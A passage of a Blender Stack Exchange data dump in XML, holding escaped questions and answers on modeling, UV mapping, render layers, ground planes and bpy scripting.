here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ubyap.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a mix of glossy and anisotropic shaders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j7dCi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0fjNl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; Want an even simpler way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a Curve-&gt;Circle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xKOrm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WImBU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make it a 2D curve, fill in on both sides, give it some extrusion and bevel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9K2Bs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3LZcp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the array modifier, and texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Info on how light a shiny object read this: &lt;a href=&quot;https://blender.stackexchange.com/questions/15683/make-a-gold-reflective-object/15685#15685&quot;&gt;Make a gold reflective object&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-10-17T04:58:06.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17870" PostTypeId="1" AcceptedAnswerId="17871" CreationDate="2014-10-17T03:41:29.390" Score="13" ViewCount="16982" Body="&lt;p&gt;Alright so I've seen some postings about loop cuts and done some research. I am very new to blender and modeling overall. I am trying to loop cut this concrete barrier. Now I'm following a tutorial and kind of did my own thing in some areas. I cleaned it up following some instructions in another answer here on stack exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't for the life of me figure out why I can loop cut around the whole bottom:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ldcYq.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ldcYq.jpg&quot; alt=&quot;Bottom Section&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...but not the whole middle:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/VNFld.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VNFld.jpg&quot; alt=&quot;Middle Section&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see this marked as answered by another question. That question refers to ngons and inside faces. Now once again I'm totally new to this. I looked on the inside. I don't believe I have inside faces or any ngons by the terms I've read online in my research.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a wireframe picture and the inside view:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/vDxUH.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vDxUH.jpg&quot; alt=&quot;Wireframe View&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KH5OW.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KH5OW.jpg&quot; alt=&quot;Inside View&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe I'm missing something the answers on other posts are saying. If so and you know what it is I'd be very appreciative of what it is.&lt;/p&gt;&#xA;" OwnerUserId="7484" LastEditorUserId="2217" LastEditDate="2017-10-10T11:44:14.477" LastActivityDate="2017-10-10T11:44:14.477" Title="Loop-cut won't go all the way around" Tags="&lt;modeling&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17871" PostTypeId="2" ParentId="17870" CreationDate="2014-10-17T05:02:44.237" Score="16" Body="&lt;p&gt;This is because the bottom face doesn't have the proper geometry, the edge ring tool doesn't know where to direct the ring since there are several vertices (it is an ngon). You can only use this tool on quads (4 sided faces). So to fix, you can use the knife tool and rework the ngon into a large quad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zB7kV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, there is also another problem, you have duplicate vertices at the &lt;strong&gt;&lt;em&gt;point where the cut stops&lt;/em&gt;&lt;/strong&gt;. To fix, first box select (&lt;kbd&gt;B&lt;/kbd&gt;) the points shown below and use &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;M&lt;/kbd&gt; &gt; &lt;em&gt;At Center&lt;/em&gt; to merge the duplicate points into one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RXFjO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you do that, use the &lt;em&gt;Knife Tool&lt;/em&gt; (&lt;kbd&gt;K&lt;/kbd&gt;) to create a quad as shown below. Press &lt;kbd&gt;K&lt;/kbd&gt; and select one vertex then another and press &lt;kbd&gt;Enter&lt;/kbd&gt;. Repeat for the other side and you should be able to add edge rings after.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lzCC5.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-10-17T05:02:44.237" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17872" PostTypeId="2" ParentId="17867" CreationDate="2014-10-17T06:25:02.457" Score="4" Body="&lt;p&gt;Renderlayers have a checkbox next to them which controls whether or not the renderlayer is rendered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This checkbox can be animated (like most options in blender) by pressing &lt;kbd&gt;I&lt;/kbd&gt; while hovering over the check box or by pressing &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt;&lt;em&gt;&gt; Insert keyframe&lt;/em&gt; to insert a keyframe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this will make the renderlayer node not output an image, so your compositing setup must be carefully designed to account for that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the layer you want to toggle has no alpha transparency, a simple alpha over node will let you put another image in place of the renderlayer when it is not enabled (in this example, I used a mask node to provide a solid color the same size as the render):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yWp2J.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yWp2J.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the layer &lt;em&gt;does&lt;/em&gt; have alpha transparency, this won't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you'll have to use an animated mix setup or something.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-10-17T06:55:14.947" LastActivityDate="2014-10-17T06:55:14.947" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17874" PostTypeId="2" ParentId="17866" CreationDate="2014-10-17T11:23:56.340" Score="1" Body="&lt;p&gt;I don't think it is possible to get/set the active fcurve / driver. So you can not override the context for &lt;code&gt;bpy.ops.graph.fmodifier_copy&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might use &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_release/bpy.types.AnimDataDrivers.html#bpy.types.AnimDataDrivers.from_existing&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;from_existing&lt;/code&gt;&lt;/a&gt; and adjust the &lt;code&gt;data_path&lt;/code&gt; attribute from the returned driver accordingly if you want to copy the driver or try out this script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;sk = bpy.data.shape_keys['Key']&#xA;&#xA;source = sk.animation_data.drivers[0]&#xA;target = sk.animation_data.drivers[1]&#xA;&#xA;for mod in source.modifiers:&#xA;    copy = target.modifiers.new(mod.type)&#xA;    for prop in mod.bl_rna.properties:&#xA;        if not prop.is_readonly:&#xA;            setattr(copy, prop.identifier, getattr(mod, prop.identifier))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastActivityDate="2014-10-17T11:23:56.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17875" PostTypeId="1" CreationDate="2014-10-17T13:06:01.677" Score="1" ViewCount="186" Body="&lt;p&gt;Is there a way in Blender to set some surfaces to be wet or dry for fluid simulation? I want to make a drop of fluid wrap around some object with a wet surface, but not spread around on a dry surface. Is it possible in Blender 2.72? If yes, how can I make this?&lt;/p&gt;&#xA;" OwnerUserId="7535" LastEditorUserId="2217" LastEditDate="2014-10-17T15:32:14.163" LastActivityDate="2014-10-17T15:32:14.163" Title="Keep surface 'dry' in fluid simulation" Tags="&lt;fluid-simulation&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17876" PostTypeId="1" AcceptedAnswerId="17879" CreationDate="2014-10-17T14:20:05.623" Score="9" ViewCount="3257" Body="&lt;p&gt;Is it possible to import an object from a library file through Python without using &lt;code&gt;bpy.ops.wm.link_append&lt;/code&gt;? I want an object to appear in &lt;code&gt;bpy.data.objects&lt;/code&gt; without updating current scene.&lt;/p&gt;&#xA;" OwnerUserId="3153" LastEditorUserId="12" LastEditDate="2014-10-18T04:53:41.357" LastActivityDate="2015-07-15T07:34:25.063" Title="Import object without bpy.ops.wm.link_append" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17877" PostTypeId="1" CreationDate="2014-10-17T14:27:01.573" Score="13" ViewCount="13536" Body="&lt;p&gt;How would you make a ground plane that goes on forever? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example, but it is from a very very old version of blender.&lt;br&gt;&#xA;&lt;a href=&quot;http://vimeo.com/8107842&quot;&gt;http://vimeo.com/8107842&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1026" LastEditorUserId="241" LastEditDate="2014-10-17T16:47:45.163" LastActivityDate="2015-02-11T19:07:01.977" Title="How do you create an infinite ground plane?" Tags="&lt;modeling&gt;&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17878" PostTypeId="2" ParentId="17877" CreationDate="2014-10-17T14:38:11.323" Score="4" Body="&lt;h1&gt;For Blender Internal Only:&lt;/h1&gt;&#xA;&lt;p&gt;From my answer on &lt;a href=&quot;https://blender.stackexchange.com/questions/518/how-to-make-a-model-cast-shadows-onto-the-world-texture-background/&quot;&gt;How to make a model cast shadows onto the world texture/background?&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Basically all you need is a plane to catch the shadow of the object(s) on it.&lt;/p&gt;&#xA;&lt;p&gt;A quick way to achieve this using the &lt;strong&gt;internal renderer&lt;/strong&gt; is to add a plane, select it and add a new material, in the material settings under &lt;em&gt;Shadow&lt;/em&gt;, enable &lt;em&gt;Shadows Only&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nfi78.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Next, you can optionally enable transparency, use &lt;em&gt;Z Transparency&lt;/em&gt; and use the alpha slider to control the strength/darkness of the shadow.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RYUi3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;To further enhance this and add to the realism, you can enable &lt;em&gt;Ambient Occlusion&lt;/em&gt; and use a blend sky &lt;em&gt;(for simple renders)&lt;/em&gt;. It is also worth noting that the shadow you get is dependent on the type of lamp and world settings you use in some cases, in the image below I am using a sun lamp with ray shadow enabled and I also have Environment lighting turned on, this softens the shadow and its harder to control but gives a nicer subtle effect.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6RSMB.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here I am using a sun lamp and a point lamp with Environment lighting off, with this setup, I can easier adjust the opacity of the shadow with the transparency setting.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HhPOz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-02-11T19:06:36.377" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17879" PostTypeId="2" ParentId="17876" CreationDate="2014-10-17T14:39:08.393" Score="9" Body="&lt;p&gt;Since Blender 2.72, there are two separate operators:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;bpy.ops.wm.link()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;bpy.ops.wm.append()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Apart from operators, there's also a lower-level API to import datablocks (selectively) from .blends: &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_72_release/bpy.types.BlendDataLibraries.html&quot;&gt;bpy.data.libraries.load()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The docs include a few examples how you can use this function.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-10-17T14:39:08.393" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17881" PostTypeId="2" ParentId="2848" CreationDate="2014-10-17T17:00:22.313" Score="6" Body="&lt;p&gt;Avoiding &lt;code&gt;bpy.ops&lt;/code&gt; may boost performance of your scripts when manipulating lots of objects. See: &lt;a href=&quot;https://blender.stackexchange.com/questions/7358/python-performance-with-blender-operators&quot;&gt;Python performance with Blender operators&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2014-10-17T17:00:22.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17882" PostTypeId="2" ParentId="1182" CreationDate="2014-10-17T17:08:49.753" Score="1" Body="&lt;p&gt;You absolutely need to factor &lt;code&gt;scn.objects.link(obj)&lt;/code&gt; out of your function and place it in a separate loop, so that creation and linkage of objects to the scene are separated between different loops. When you use &lt;code&gt;scn.objects.link(obj)&lt;/code&gt; whithin the same iteration where you create object, blender updates all the scene every iteration. See answer &lt;a href=&quot;https://blender.stackexchange.com/a/7360/3153&quot;&gt;https://blender.stackexchange.com/a/7360/3153&lt;/a&gt; with comments to it. Your code may transform to something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def create_mesh(name, radius, locat):&#xA;    mesh = bpy.data.meshes['Primary']&#xA;    obj = bpy.data.objects.new(name, mesh)&#xA;    obj.scale(radius, radius, radius)&#xA;    obj.location = locat &#xA;    return obj&#xA;&#xA;obs = []&#xA;for name, radius, locat in params2500:&#xA;    o = create_mesh(name, radius, locat)&#xA;    obs.append(o)&#xA;&#xA;sc = bpy.context.scene&#xA;for o in obs:&#xA;    sc.objects.link(o)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-10-17T17:08:49.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17883" PostTypeId="1" CreationDate="2014-10-17T17:11:04.200" Score="2" ViewCount="44" Body="&lt;p&gt;How can I add an UI widget for a group input?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;em&gt;Physics &gt; Smoke &gt; Smoke Groups&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9S6jR.png&quot; alt=&quot;Smoke Groups&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I create such a field in a panel with a python script?&lt;/p&gt;&#xA;" OwnerUserId="7538" LastEditorUserId="1363" LastEditDate="2014-10-23T19:46:39.373" LastActivityDate="2014-10-23T19:46:39.373" Title="Group input in panel with python" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2014-10-23T21:48:20.517" ContentLicense="CC BY-SA 3.0" />
  <row Id="17884" PostTypeId="1" AcceptedAnswerId="18007" CreationDate="2014-10-17T17:17:06.230" Score="2" ViewCount="771" Body="&lt;p&gt;I have built a village level in Blender Game Engine, and up till today all was good. However now my Grass texture and my wood texture become Transparent when I enter the Play mode, but the mesh still has collision.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zipped level: &lt;a href=&quot;https://drive.google.com/file/d/0BwmWa-IlNzrzSjlxSnRoa01LOHc/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;The level and all associated textures&lt;/a&gt;&lt;br&gt;&#xA;&lt;sub&gt;Play Mode on the left vs. Material View on the right&lt;/sub&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/hSoUU.jpg&quot; alt=&quot;Play Mode vs. Material View&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: It seems to be object specific, not material specific.&lt;/p&gt;&#xA;" OwnerUserId="7537" LastEditorUserId="2217" LastEditDate="2014-10-17T17:55:30.857" LastActivityDate="2016-05-21T18:30:38.560" Title="Textures disappear in BGE Playmode, but colliders are still there?" Tags="&lt;materials&gt;&lt;game-engine&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17885" PostTypeId="1" AcceptedAnswerId="17900" CreationDate="2014-10-17T18:38:48.983" Score="6" ViewCount="1172" Body="&lt;p&gt;I'm new to blender and I wonder what's the best way, with the least side effects, to add more detail to a model's face. It seems that the loop cut is the cleanest way of doing it but at the cost of adding unnecessary geometry. Subdivide seems like the obvious solution to a lot of problems but then you can't use a lot of features as it can create ngons. So when do you use it?&lt;/p&gt;&#xA;" OwnerUserId="4944" LastEditorUserId="12" LastEditDate="2014-10-19T19:37:09.233" LastActivityDate="2014-10-19T19:37:09.233" Title="When is it ok to subdivide?" Tags="&lt;workflow&gt;&lt;topology&gt;" AnswerCount="3" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="17886" PostTypeId="2" ParentId="17877" CreationDate="2014-10-17T20:21:14.727" Score="7" Body="&lt;h1&gt;For Cycles:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I don't think this really is possible in cycles currently, however you probably don't actually need an infinite plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The camera will only render objects up to a finite distance away (&lt;em&gt;end clipping&lt;/em&gt; value), so your plane only needs to be larger than this value to appear &quot;infinite&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this, enable &lt;em&gt;Limits&lt;/em&gt; in &lt;em&gt;Camera settings &gt; Display&lt;/em&gt; to display a line visualizing the start and end clipping of the camera:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vcyzk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as your end clipping value is reasonably high and your plane is larger than it, the plane will appear reasonably infinite:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oXV8A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you instead want an effect like in iKlsR's answer, you'll have to do some compositing with renderlayers.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Move your diffuse ground plane to another layer&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create another renderlayer and set the layer to the layer on which your ground plane is, then enable the &lt;em&gt;shadow&lt;/em&gt;, &lt;em&gt;AO&lt;/em&gt;, and &lt;em&gt;Diffuse indirect&lt;/em&gt; passes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sufGV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;In this example, the ground plane is on layer 2 and the rest of the scene is on layer 1&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Environment&lt;/em&gt; on the original renderlayer, which should also be set to only render the layer with all the objects &lt;em&gt;besides&lt;/em&gt; the ground plane.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Transparent&lt;/em&gt; in &lt;em&gt;Render settings &gt; Film&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Composite:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0dr8i.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0dr8i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/32185&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Example .blend&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="72" LastEditDate="2015-02-11T19:07:01.977" LastActivityDate="2015-02-11T19:07:01.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17888" PostTypeId="1" AcceptedAnswerId="17889" CreationDate="2014-10-17T21:25:10.663" Score="14" ViewCount="16554" Body="&lt;p&gt;I have a brick wall that I am trying to add a door to. I have already UV mapped it, so when I move the loop cut to the right height, it distorts my UV map. How can I avoid having to unwrap it again?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/o61KB.jpg&quot; alt=&quot;loop cut&quot;&gt;&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UUloC.jpg&quot; alt=&quot;loop cut with distorted UVs&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="2217" LastEditDate="2014-10-17T21:27:16.027" LastActivityDate="2021-03-24T11:35:39.413" Title="Move loopcut without distorting UV map" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="4" ClosedDate="2014-10-18T13:48:28.813" ContentLicense="CC BY-SA 3.0" />
  <row Id="17889" PostTypeId="2" ParentId="17888" CreationDate="2014-10-17T21:26:01.173" Score="19" Body="&lt;p&gt;Press &lt;kbd&gt;G&lt;/kbd&gt;, &lt;kbd&gt;G&lt;/kbd&gt; or &lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;E&lt;/kbd&gt; &amp;gt; &lt;em&gt;Edge Slide&lt;/em&gt; to move the loop cut. Then in the bottom of the &lt;em&gt;Tool Shelf&lt;/em&gt; or by pressing &lt;kbd&gt;F6&lt;/kbd&gt; turn on &lt;em&gt;Correct UVs&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vUPEJ.png&quot; alt=&quot;edge slide&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;In Blender 2.9 it's now called &lt;em&gt;Correct Face Attributes&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hhzcS.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hhzcS.png&quot; alt=&quot;Correct Face Attributes - screenshot&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="19307" LastEditDate="2021-03-24T11:35:39.413" LastActivityDate="2021-03-24T11:35:39.413" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17891" PostTypeId="1" CreationDate="2014-10-17T22:28:38.037" Score="1" ViewCount="155" Body="&lt;p&gt;Whenever I reopen the .blend file sometimes some of the animations will break and when I load them in the dope sheet or action editor, the skeleton rotates 90 degrees on all axes and shrinks down too.&#xA;Animations play just fine while its like that but when I try to rest the rotation and scaling &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;R&lt;/kbd&gt; and &lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;S&lt;/kbd&gt; doesn't fix anything. But apparently When it is exported as an fbx then sent over to unity there aren't any problems.&#xA;Is there a way to fix this or just keep it from happening in the future?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iTneS.png&quot; alt=&quot;Shrinking&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is should look:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4PFJd.png&quot; alt=&quot;before opening the animation&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7539" LastEditorUserId="7539" LastEditDate="2014-10-17T23:22:22.090" LastActivityDate="2014-10-17T23:22:22.090" Title="When I open a specific animation the character shrinks and turns sideways" Tags="&lt;animation&gt;&lt;rigging&gt;&lt;transforms&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17893" PostTypeId="1" CreationDate="2014-10-18T02:45:14.927" Score="5" ViewCount="777" Body="&lt;p&gt;Particles give more controls for doing things like randomizing rotation of instances, but duplifaces and group instances allow for rotation and scale of individual instances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For something like creating a forest with a lot of trees, is it more efficient to use a particle system? Or a dupliface object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the most efficient way to instantiate a large number of objects?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;By &quot;efficient&quot; I mean in terms of rendertime/memory usage.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-10-18T20:22:11.840" Title="Which is more efficient? duplifaces, particles, or group instances?" Tags="&lt;rendering&gt;&lt;performance&gt;&lt;memory-management&gt;&lt;instances&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17894" PostTypeId="1" AcceptedAnswerId="17895" CreationDate="2014-10-18T02:46:52.337" Score="4" ViewCount="2009" Body="&lt;p&gt;I am following the tutorial for &lt;a href=&quot;https://vimeo.com/24853049&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating a Lowpoly Concrete Barrier&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;At about 29 minutes and 4 seconds he begins snapping the first two pieces of the texture in the UV map. I believe I have the settings the same and I managed to get the first vertex to vertex to snap. However when he snaps the right side it is multiple vertices to one vertex and the image seems to move instead of growing bigger (hard to tell b/c he is zoomed in).&lt;/p&gt;&#xA;&lt;p&gt;The image below is the point I get to:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZIAgg.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZIAgg.jpg&quot; alt=&quot;Uv unwraping&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...however every time I try to snap this ends up happening (one vertex gets pulled and snaps versus all vertices moving and the lowest one snapping:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WOy43.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WOy43.jpg&quot; alt=&quot;One Vertex&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have spent the last hour trying to find how to do it how he did in the video and I'm at a point where it's just become frustrating, but I don't want to give up. What am I missing? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="7484" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2019-03-14T11:34:42.733" Title="Snapping Vertices to One Vertex on a UV Map" 